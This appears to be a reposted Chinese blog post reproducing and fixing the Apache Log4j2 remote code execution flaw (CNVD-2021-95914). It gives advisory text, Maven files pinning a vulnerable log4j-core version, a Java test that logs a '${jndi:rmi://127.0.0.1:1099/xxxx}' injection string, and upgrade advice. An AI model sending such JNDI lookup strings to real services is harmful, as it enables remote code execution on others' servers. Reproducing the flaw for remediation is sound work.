Log4j2高危漏洞CNVD-2021-95914复现修复
漏洞描述
安全公告编号:CNTA-2021-0033
安全公告编号:CNTA-2021-0032
2021年12月10日,国家信息安全漏洞共享平台(CNVD)收录了Apache Log4j2远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修复该漏洞。CNVD建议受影响用户立即更新至最新版本,同时采取防范性措施避免漏洞攻击威胁。
一、漏洞情况分析
Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
CNVD对该漏洞的综合评级为“高危”。
二、漏洞影响范围
漏洞影响的产品版本包括:
Apache Log4j2 2.0 - 2.15.0-rc1
附:参考链接:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
关于Apache Log4j2存在远程代码执行漏洞的安全公告
复现代码
log4j-core.jar引入
-
-
<project xmlns="http://maven.apache.org/POM/4.0.0"
-
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-
<modelVersion>4.0.0</modelVersion>
-
<groupId>com.lizz</groupId>
-
<artifactId>parent-tester</artifactId>
-
<version>1.0-SNAPSHOT</version>
-
<properties>
-
<skipTests>true</skipTests>
-
</properties>
-
-
<dependencies>
-
<dependency>
-
<groupId>org.apache.logging.log4j</groupId>
-
<artifactId>log4j-core</artifactId>
-
<version>2.13.3</version>
-
</dependency>
-
</dependencies>
-
-
<build>
-
<plugins>
-
<plugin>
-
<groupId>org.springframework.boot</groupId>
-
<artifactId>spring-boot-maven-plugin</artifactId>
-
</plugin>
-
</plugins>
-
</build>
-
</project>
或引入spring-boot-starter-log4j2,依赖的也是log4j-core.jar
-
-
<project xmlns="http://maven.apache.org/POM/4.0.0"
-
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-
<modelVersion>4.0.0</modelVersion>
-
<groupId>com.lizz</groupId>
-
<artifactId>parent-tester</artifactId>
-
<version>1.0-SNAPSHOT</version>
-
<properties>
-
<skipTests>true</skipTests>
-
</properties>
-
-
<parent>
-
<groupId>org.springframework.boot</groupId>
-
<artifactId>spring-boot-starter-parent</artifactId>
-
<version>2.3.4.RELEASE</version>
-
<relativePath/>
-
</parent>
-
<dependencies>
-
<dependency>
-
<groupId>org.springframework.boot</groupId>
-
<artifactId>spring-boot-starter-log4j2</artifactId>
-
</dependency>
-
</dependencies>
-
-
<build>
-
<plugins>
-
<plugin>
-
<groupId>org.springframework.boot</groupId>
-
<artifactId>spring-boot-maven-plugin</artifactId>
-
</plugin>
-
</plugins>
-
</build>
-
</project>
测试用例
-
import org.apache.logging.log4j.LogManager;
-
import org.apache.logging.log4j.Logger;
-
-
/**
-
* @description: LogBugTest
-
* @author: lizz
-
* @date: 2021/12/14 14:51
-
*/
-
public class LogBugTest {
-
private static final Logger logger = LogManager.getLogger(LogBugTest.class);
-
-
public static void main(String[] args) {
-
String msg="${java:hw}";
-
logger.info("log {}",msg);
-
logger.error("${jndi:rmi://127.0.0.1:1099/xxxx}");
-
-
}
-
}
输出结果:
-
[main] INFO com.lizz.LogBugTest - log processors: 4, architecture: x86_64-64
-
main WARN Error looking up JNDI resource [rmi://127.0.0.1:1099/xxxx].
- ${java:hw}输出了服务器cpu信息
- jndi:rmi可以远程加载外部类,使用可以执行外部想要你执行的命令,漏洞所在。
- 上面的输出内容表示可以执行特殊命令,可以通过开放接口将命令通过参数传递到服务中执行,从而执行破坏或控制命令。
无漏洞输出结果
-
[main] INFO com.lizz.LogBugTest - log ${java:hw}
-
[main] ERROR com.lizz.LogBugTest - ${jndi:rmi://127.0.0.1:1099/xxxx}
修复建议
- 如果使用spring-boot默认logger,可以发现依赖的是logback,不存在log4j2-core的漏洞,不需要修改。
- 查看依赖树,使用了log4j2-core包,可以将log4j2-core升级为>=2.16.0即可。
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhgcbfeb
系列文章
更多
同类精品
更多
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
excel下划线不显示怎么办
PHP中文网 06-23 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
怎样阻止微信小程序自动打开
PHP中文网 06-13 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01